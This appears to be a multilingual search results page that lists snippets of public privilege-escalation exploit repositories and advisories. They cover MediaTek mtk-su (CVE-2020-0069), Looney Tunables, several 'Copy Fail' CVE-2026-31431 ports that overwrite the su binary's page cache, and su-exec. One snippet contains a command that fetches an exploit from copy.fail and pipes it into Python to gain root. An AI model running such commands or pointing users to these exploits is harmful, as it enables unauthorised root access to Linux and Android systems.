6837 matches found
AutomatedRoot
AutomatedRoot mtk-suエクスプロイト(CVE-2020-0069 )を使用してMediaTekデバイスをroot化します。 必要条件 Python 3.9 以降(Windowsの場合は%PATH%に含まれていること)。 ADB(Windowsの場合は%PATH%に含まれていること)。 CVE-2020-0069 のPoC(mtk-su)。 使用方法 MediaTekのSU XDAページからmtk-suバイナリをダウンロードし、対応するフォルダ(automatedroot/files/arm64)に移動します。 ツールの最新リリースをダウンロードします。...
CVE-2023-4911
CVE-2023-4911 这是针对 CVE-2023-4911("Looney Tunables")的概念验证代码,它利用了 glibc 动态加载器中 GLIBCTUNABLES 环境变量解析函数 parsetunables 的一个 bug。 这是将 C 语言的概念验证代码重写为纯 Python 实现。我这样做是为了更轻松地为其他平台定制漏洞利用代码。 唯一的依赖是 pwntools,可以通过以下方式安装: root@kitploit: python3 -m pip install --upgrade pwntools 原始 C...
mtk_su
MTK SU MTK SU は CVE-2020-0069 の LPE です。このエクスプロイトは、MediaTek MT6739 SoC を搭載し Android 8.1.0 を実行する TCL LX A502DL でテストされました。 ビルド root@kitploit: mkdir build cd build export ANDROIDNDK= cmake -DCMAKETOOLCHAINFILE="$ANDROIDNDK?/build/cmake/android.toolchain.cmake" -DANDROIDABI="armeabi-v7a"...
copyfail-deconstructed
copyfail-deconstructed 易于理解的 CVE-2026-31431 版本,这是一种允许任何人成为 root 的权限提升技术。原始概念验证位于:https://github.com/theori-io/copy-fail-CVE-2026-31431,但经过高度压缩和混淆,以尽可能减小体积。本仓库试图以更易读的方式分解该代码,包括代码的作用、payload 的加载方式以及如何针对不同架构。更多技术细节请参见:https://xint.io/blog/copy-fail-linux-distributions。 使用方法 默认情况下,运行 python3...
mtk-su-reverse-cve-2020-0069
mtk-su 私のメモの一部 文字列テーブル binwalk -Xe stringtabledump を使って展開された文字列テーブルを取得する idb 内のアドレスからダンプする 0x1F098 圧縮サイズ: 1260 idb が必要な場合は、メールアドレスを添えて issue を開いてください。送ります。 エクスプロイトを書き直したい場合の良い出発点です。...
Linux-CopyFail-C-Version-CVE-2026-31431
Linux CopyFail - C 版本 - CVE-2026-31431 Copy Fail(CVE-2026-31431)的简洁 C 语言版本 - 利用 AFALG + authencesn + splice 原语的 Linux 本地权限提升漏洞。通过用一段极小的 setuid shellcode 覆盖 /usr/bin/su 的页缓存来获取 root 权限。仅用于教育目的的验证性概念证明。 Copy Fail Linux 本地权限提升漏洞(CVE-2026-31431)的简洁、可读的 C 语言实现。 这是原始压缩版 Python 漏洞利用的移植版本。 警告...
copy-fail-python
copyfailsu.py badsectorlabs/copyfail-go(CVE-2026-31431)的 Python 移植版本。仅支持 Linux;需要 Python 3.10+(os.splice)。 如何获取 root 权限(重要) 此工具不 使用 /etc/passwd 页缓存技巧。 它用内嵌的 shellcode(与 Go 版 main.go 相同的载荷)覆盖 setuidsu 二进制的页缓存,然后执行su。 提权来自将 su 的损坏缓存镜像作为 setuid root 程序运行,而不是通过 /etc/passwd 让 getpwnam 认为你的 UID 是 0。...
TEST-CVE-2026-31431
TEST-CVE-2026-31431 root@kitploit: oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d...
CVE-2026-31431-rs
CVE-2026-31431 PoC(copyfail) 结构 root@kitploit: src/ ├── main.rs 漏洞利用:AFALG + splice 覆盖 /bin/su └── bin/ └── payload.rs 载荷 自包含的 nostd 二进制文件,零运行时依赖: poc-rs:4.1 KB(载荷通过 includebytes! 嵌入) payload:1.7 KB 构建 需要 Rust 1.85+: root@kitploit: cargo build --release --bin payload cargo build --release 用法 x866...
copy-fail-CVE-2026-31431
CVE-2026-31431 — Copy Fail Escalada de privilegios local en el kernel de Linux mediante AFALG + sobrescritura de page-cache con splice Solo para investigación de seguridad autorizada, pruebas de penetración y fines educativos. No lo utilice contra sistemas que no le pertenezcan o para los que no...
copy-fail-go
Copy Fail - CVE-2026-31431 - golang 版本 ⚠️ 警告:该程序极其危险且属于实验性质。清除漏洞利用需要手动清理。使用风险自负! 技术分析文章 原始仓库 运行 运行前检查 /usr/bin/su: root@kitploit: user@pc:$ hexdump -n 300 -x /usr/bin/su 0000000 457f 464c 0102 0001 0000 0000 0000 0000 0000010 0003 003e 0001 0000 44d0 0000 0000 0000 0000020 0040 0000 0000 0000 d1c0...
CVE-2026-31431-exploit
CVE-2026-31431 严重警告 这两份 Linux 本地提权利用实现都属于运行时破坏性 利用。 它们会覆写高权限目标文件的运行时 page-cache 视图 ,例如: su PAM 配置文件 patch 模式里手工指定的文件 这通常不是常规意义上的持久化落盘改文件,但它会立即改变运行时行为 ,并直接影响认证 / 提权流程。 当前仓库不提供 真正无破坏性的 root 模式。 文件 copyfailrawsuroot.c copyfailportablelpe.c 两者都只面向 Linux 。 后续更新中可能会补充适配更多架构的预编译版本。 编译...
CVE-2026-31431
Exploit de parcheo de memoria su mediante AFALG investigación Un script Python compacto que explota una vulnerabilidad del kernel relacionada con AFALG para parchear el binario su en memoria y escalar privilegios. Se proporciona solo con fines educativos y de investigación. ⚠️ No lo uses en ningún...
copyfail-go
CopyFail Go 大多数 Linux LPE 漏洞需要竞态窗口或特定内核的偏移量。Copy Fail 是一个直线型逻辑缺陷——两者都不需要。同一个 732 字节的 Python 脚本 静态 Go 二进制即可攻破自 2017 年以来发布的所有 Linux 发行版。 CVE-2026-31431 的 Go 实现。适用于你需要静态二进制且不依赖 Python 的情况。 更多信息请参阅 copy.fail。 交互式 Shell root@kitploit: Get the binary to your Linux host with code execution exercise for...
cve-2026-31431
CVE-2026-31431 Este documento describe un exploit público en Python relacionado con la vulnerabilidad CVE-2026-31431. El código demuestra la explotación de la falla utilizando primitivas del subsistema AFALG de Linux, operaciones de cifrado AEAD y manipulación de memoria mediante splice, con el...
CVE-2020-0069_poc
説明 このリポジトリには、Xiaomi Redmi 6a(MediaTek SoC MT6762M搭載)におけるCVE-2020-0069の調査に使用した資料が含まれています。 以下の3つのプログラムが含まれています: kernelrw.c カーネルメモリの読み書きを可能にするCプログラム poc.sh シェルスクリプト syscallhook.c プログラムmtk-suのトレースに使用できるCライブラリ(バージョン19でテスト済み) ビルド バイナリをビルドするには: root@kitploit: $ ndk-build その後、デバイスにプッシュします: root@kitploit:...
CVE-2026-82457
su-exec through 0.3 fails to validate numeric user and group identifiers parsed with strtol before assigning to uidt and gidt, allowing truncation of out-of-range values to zero. Attackers can supply large numeric identifiers that truncate to root's identifier, causing su-exec to execute target...
CVE-2026-82457
su-exec through version 0.3 contains a type-truncation vulnerability in its handling of numeric user and group identifiers. Values parsed via strtol are not validated before being assigned to uid_t and gid_t , so out-of-range identifiers truncate to zero—root 's ID. A local attacker with low priv...
CVE-2026-82457 su-exec through 0.3 Privilege Escalation via Numeric User ID
su-exec through 0.3 fails to validate numeric user and group identifiers parsed with strtol before assigning to uidt and gidt, allowing truncation of out-of-range values to zero. Attackers can supply large numeric identifiers that truncate to root's identifier, causing su-exec to execute target...
CVE-2026-82457 su-exec through 0.3 Privilege Escalation via Numeric User ID
su-exec through 0.3 fails to validate numeric user and group identifiers parsed with strtol before assigning to uidt and gidt, allowing truncation of out-of-range values to zero. Attackers can supply large numeric identifiers that truncate to root's identifier, causing su-exec to execute target...